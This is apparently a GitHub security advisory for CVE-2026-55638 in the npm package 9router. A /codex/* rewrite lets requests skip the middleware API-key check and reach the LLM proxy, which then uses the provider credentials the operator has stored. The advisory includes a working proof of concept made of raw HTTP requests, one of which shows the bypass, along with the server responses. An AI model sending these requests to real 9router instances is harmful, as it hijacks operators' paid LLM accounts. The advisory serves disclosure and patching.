GitHub Advisoryadvisory · npm
GHSA-8gmq-j984-vp4r 9router: Unauthenticated LLM proxy access via /codex rewrite authorization bypass
HIGH
Official page ↗
- Aliases
- CVE-2026-55638
- Ecosystem
- npm
- Packages
- 9router
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H
- Weaknesses
- CWE-862, CWE-863
- Reviewed
- 2026-08-28
Affected packages
• npm 9router: < 0.5.2 → fixed in 0.5.2
Description
Summary
9router exposes an OpenAI/Anthropic-compatible LLM proxy. Remote access to this proxy is intended to be protected by an API-key check in the Next.js middleware.
However, 9router also defines a rewrite that maps `/codex/*` to the backend LLM endpoint `/api/v1/responses`. The middleware authorization decision is made on the incoming request path before the rewrite is applied. Because `/codex` is not included in the middleware's protected LLM API prefix list, requests to `/codex/*` bypass the API-key gate and are later rewritten to the same backend used by `/api/v1/responses`.
As a result, an unauthenticated remote attacker can access the LLM proxy through `/codex/*` and cause the server to make upstream provider calls using the operator-stored LLM provider credentials.
Details
| Component | File | Note |
| ----------------------------- | ----------------------------------- | ------------------------------------------------------------------------- |
| Middleware authorization gate | `src/dashboardGuard.js` | Protects `/v1`, `/v1beta`, `/api/v1`, and `/api/v1beta`, but not `/codex` |
| Rewrite configuration | `next.config.mjs` | Rewrites `/codex/:path*` to `/api/v1/responses` |
| LLM backend route | `src/app/api/v1/responses/route.js` | Dispatches rewritten requests to the LLM handler |
| Chat handler | `src/sse/handlers/chat.js` | Uses operator-stored provider credentials for upstream calls |
Tested version:
| Version / Commit | Runtime | Status |
| ------------------------------------------------------------ | ---------------- | -------- |
| `v0.4.80`, commit `23da7b1fe3bb8edd2bdbdb63fbbb15a476b02c56` | Next.js `16.2.9` | Affected |
Root Cause
The middleware classifies requests by the original incoming pathname. The protected public LLM API prefixes are:
```js
PUBLIC_PREFIXES = ["/v1", "/v1beta", "/api/v1", "/api/v1beta"];
```
Because `/codex` is not included in this list, a request such as `/codex/x` does not enter the LLM API authorization branch and falls through to:
```js
return NextResponse.next();
```
The rewrite configuration then maps the allowed request to the protected backend route:
```js
{
source: "/codex/:path*",
destination: "/api/v1/responses"
}
```
The backend route reaches the same handler used by the canonical LLM endpoint:
```js
return await handleChat(request);
```
The handler then processes the request and performs the upstream LLM provider call. In the tested configuration, the handler does not repeat the same middleware API-key gate for remote callers, so the rewritten request is served after bypassing the intended authorization check.
PoC
The following requests use the same target server and the same remote-style `Host` header. The only meaningful difference is the request path.
Case 01 — Protected canonical endpoint rejects unauthenticated access
```http
POST /api/v1/responses HTTP/1.1
Host: evil.attacker.com
Content-Type: application/json
Content-Length: 156
{"model":"fakeoai/x","input":"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello","messages":[{"role":"user","content":"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello"}]}
```
Observed result:
```http
HTTP/1.1 401 Unauthorized
```
This confirms that the canonical `/api/v1/responses` path is protected by the intended API-key gate.
Case 02 — Rewritten `/codex/*` path bypasses the API-key gate
```http
POST /codex/x HTTP/1.1
Host: evil.attacker.com
Content-Type: application/json
Content-Length: 156
{"model":"fakeoai/x","input":"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello","messages":[{"role":"user","content":"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello"}]}
```
Observed result:
```http
HTTP/1.1 200 OK
```
The request reaches the LLM backend without an API key.
A controlled upstream provider endpoint recorded the outbound request from 9router:
```text
POST /responses
Authorization: Bearer NINEROUTER_OPERATOR_STORED_KEY_MARKER
request-body marker present: true
operator key marker in Authorization: true
```
This confirms that the unauthenticated `/codex/*` request causes 9router to make an upstream provider call using the operator-stored credentials.
Case 03 — Unrelated unknown path does not reach the backend
```http
POST /notcodex/x HTTP/1.1
Host: evil.attacker.com
Content-Type: application/json
Content-Length: 156
{"model":"fakeoai/x","input":"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello","messages":[{"role":"user","content":"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello"}]}
```
Observed result:
```http
HTTP/1.1 404 Not Found
```
No upstream provider call is made. This isolates the issue to the `/codex/*` rewrite.
Case 04 — Canonical endpoint succeeds only with a valid API key
```http
POST /api/v1/responses HTTP/1.1
Host: evil.attacker.com
Authorization: Bearer sk-REDACTED
Content-Type: application/json
Content-Length: 156
{"model":"fakeoai/x","input":"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello","messages":[{"role":"user","content":"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello"}]}
```
Observed result:
```http
HTTP/1.1 200 OK
```
This confirms that the canonical endpoint is functional and that the `401` response in Case 01 is an authorization failure, not a backend error.
Attack Scenario
1. A remote attacker identifies a publicly reachable 9router instance.
2. The attacker sends LLM proxy requests to `/codex/*` instead of `/api/v1/responses`.
3. The middleware evaluates the original `/codex/*` path and does not apply the LLM API-key gate.
4. The rewrite maps the request to `/api/v1/responses`.
5. The backend processes the request and performs an upstream provider call.
6. The upstream call uses the operator-stored provider credentials.
Impact
A successful attacker can use the operator's configured LLM provider account without authentication.
Likely consequences include:
• Unauthorized use of the 9router LLM proxy.
• Consumption of the operator's provider credits or quota.
• Unexpected billing impact.
• Abuse of configured OpenAI/Anthropic-compatible providers.
• Exposure of model/provider behavior through proxy responses.
• Bypass of the intended API-key access control for remote LLM proxy access.
Related
Alias · CVE (1)
- CVE-2026-55638 9Router is an AI router & token saver. vulnerability
References
- https://github.com/decolua/9router/security/advisories/GHSA-8gmq-j984-vp4r web
- https://nvd.nist.gov/vuln/detail/CVE-2026-55638 advisory
- https://github.com/decolua/9router/commit/b282f0554972ea35281520738759d76abcd0b0b3 web
- https://github.com/decolua/9router package
- https://github.com/decolua/9router/releases/tag/v0.5.2 web